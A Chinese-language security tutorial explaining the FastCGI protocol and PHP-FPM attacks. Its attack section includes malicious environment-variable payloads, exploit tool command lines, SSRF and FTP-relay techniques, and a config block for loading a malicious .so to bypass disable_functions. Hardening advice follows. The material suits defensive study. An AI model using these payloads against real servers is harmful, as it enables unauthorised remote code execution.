Fastcgi 协议分析与 PHP-FPM 攻击方法
字数 1611 2025-08-05 11:39:33
FastCGI协议分析与PHP-FPM攻击方法详解
一、CGI与FastCGI基础
1. CGI (Common Gateway Interface)
- 定义:Web服务器与外部应用程序之间的通信接口标准
- 工作原理:
- Web服务器收到动态请求时fork新进程启动CGI程序
- CGI程序处理完成后进程关闭
- 缺点:每次请求都需要创建/销毁进程,效率低下
2. FastCGI (Fast Common Gateway Interface)
- 改进点:保持进程常驻,减少进程创建销毁开销
- 优势:
- 高性能:进程复用
- 语言无关:可用于多种后端语言
- 可扩展:支持分布式部署
二、FastCGI协议分析
1. FastCGI Record结构
typedef struct {
/* Header (8字节) */
unsigned char version; // 协议版本
unsigned char type; // 消息类型
unsigned char requestIdB1; // 请求ID高字节
unsigned char requestIdB0; // 请求ID低字节
unsigned char contentLengthB1; // 内容长度高字节
unsigned char contentLengthB0; // 内容长度低字节
unsigned char paddingLength; // 填充长度
unsigned char reserved; // 保留
/* Body */
unsigned char contentData[contentLength]; // 内容数据
unsigned char paddingData[paddingLength]; // 填充数据
} FCGI_Record;
2. 关键消息类型(Type)
| 类型值 | 含义 |
|---|---|
| 1 | 开始请求 |
| 2 | 异常终止 |
| 3 | 正常结束 |
| 4 | 传递环境变量 |
| 5 | POST数据 |
| 6 | 正常响应 |
| 7 | 错误响应 |
3. 环境变量结构
- 根据name/value长度不同有4种变体:
- FCGI_NameValuePair11 (name≤128B, value≤128B)
- FCGI_NameValuePair14 (name≤128B, value>128B)
- FCGI_NameValuePair41 (name>128B, value≤128B)
- FCGI_NameValuePair44 (name>128B, value>128B)
三、PHP-FPM工作机制
1. PHP-FPM架构
- Master进程:管理worker进程,与Web服务器通信
- Worker进程:实际执行PHP代码
2. 请求处理流程
- Web服务器(Nginx/Apache)将请求转换为FastCGI格式
- 通过TCP/Unix Socket发送给PHP-FPM
- PHP-FPM解析环境变量(如SCRIPT_FILENAME)
- 执行指定PHP文件并返回结果
四、PHP-FPM攻击方法
1. 未授权访问漏洞
- 前提条件:PHP-FPM监听在0.0.0.0或可被外部访问
- 攻击原理:伪造Web服务器直接与PHP-FPM通信
攻击步骤:
- 构造恶意环境变量:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } - 通过FastCGI协议发送恶意请求
- 在Body中放置PHP代码
2. 利用工具
a. fcgi_exp.go
./fcgi_exp system 目标IP 9000 /var/www/html/index.php "id"
b. phith0n的fpm.py
python fpm.py 目标IP /var/www/html/index.php -c "<?php system('id'); ?>"
3. SSRF攻击PHP-FPM
当PHP-FPM仅监听127.0.0.1时,通过SSRF漏洞间接攻击
a. 使用Gopherus生成payload
python gopherus.py --exploit fastcgi
/var/www/html/index.php
id
b. 二次URL编码后通过SSRF发送
4. FTP协议中转攻击
通过FTP被动模式将payload重定向到PHP-FPM
攻击流程:
- 搭建恶意FTP服务器
- 第一次连接返回payload
- 第二次连接重定向到127.0.0.1:9000
- 触发PHP-FPM执行代码
5. 绕过disable_functions
通过加载恶意.so扩展实现RCE
关键PHP配置:
$php_value = "unserialize_callback_func = system
extension_dir = /tmp
extension = evil.so
disable_classes =
disable_functions =
allow_url_include = On
open_basedir = /";
五、防御措施
- 限制PHP-FPM监听范围(仅127.0.0.1或Unix Socket)
- 设置security.limit_extensions限制可执行文件类型
- 及时更新PHP版本
- 网络隔离,防止未授权访问
- 监控异常FastCGI请求
六、环境搭建示例
1. 安装Nginx和PHP-FPM
sudo apt-get install nginx php-fpm php-mysql
2. 配置PHP-FPM
编辑/etc/php/7.4/fpm/pool.d/www.conf:
listen = 127.0.0.1:9000 # 避免监听0.0.0.0
3. 配置Nginx
编辑/etc/nginx/sites-available/default:
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
}